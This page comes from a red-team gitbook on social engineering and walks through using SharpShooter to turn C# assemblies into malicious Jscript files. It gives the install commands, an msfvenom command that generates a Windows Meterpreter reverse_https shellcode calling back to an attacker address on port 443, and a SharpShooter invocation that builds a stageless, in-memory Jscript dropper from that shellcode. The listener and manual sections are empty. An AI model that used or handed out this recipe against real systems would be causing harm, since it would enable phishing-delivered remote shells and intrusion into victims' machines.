> For the complete documentation index, see [llms.txt](https://cookiez.gitbook.io/red-team/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://cookiez.gitbook.io/red-team/social-engineering/techniques/jscript.md).

# Jscript

## SharpShooter

In recent years, it has become much more common to use DotNetToJscript to weaponize C# compiled assemblies in other file formats (like Jscript, VBScript, and even Microsoft Office macros). A payload generation tool called SharpShooter has been created to assist with this.

{% stepper %}
{% step %}

### Download SharpShooter

```
sudo git clone https://github.com/mdsecactivebreach/SharpShooter
cd SharpShooter
sudo pip install -r requirements.txt
```

{% endstep %}

{% step %}

### Generate Shellcode

```
sudo msfvenom -p windows/x64/meterpreter/reverse_https LHOST=192.168.119.120 LPORT=443 -f raw -o /var/www/html/shell.txt
```

{% endstep %}

{% step %}

### Invoke SharpShooter

```
python SharpShooter.py --payload js --dotnetver 4 --stageless --rawscfile /var/www/html/shell.txt --output test
```

\--payload js, will specify a Jscript output format. The next parameter, --dotnetver, sets the .NET framework version to target. The --stageless parameter specifies in-memory execution of the Meterpreter shellcode. The term stageless for SharpShooter refers to whether the entire Jscript payload is transferred at once, or if HTML smuggling is used with a staged Jscript payload. --rawscfile specifies the file containing our shellcode and we set our output file with --output, leaving off the file extension.
{% endstep %}

{% step %}

### Setup A Listener

{% endstep %}
{% endstepper %}

## Manual

Who wants do this manually...
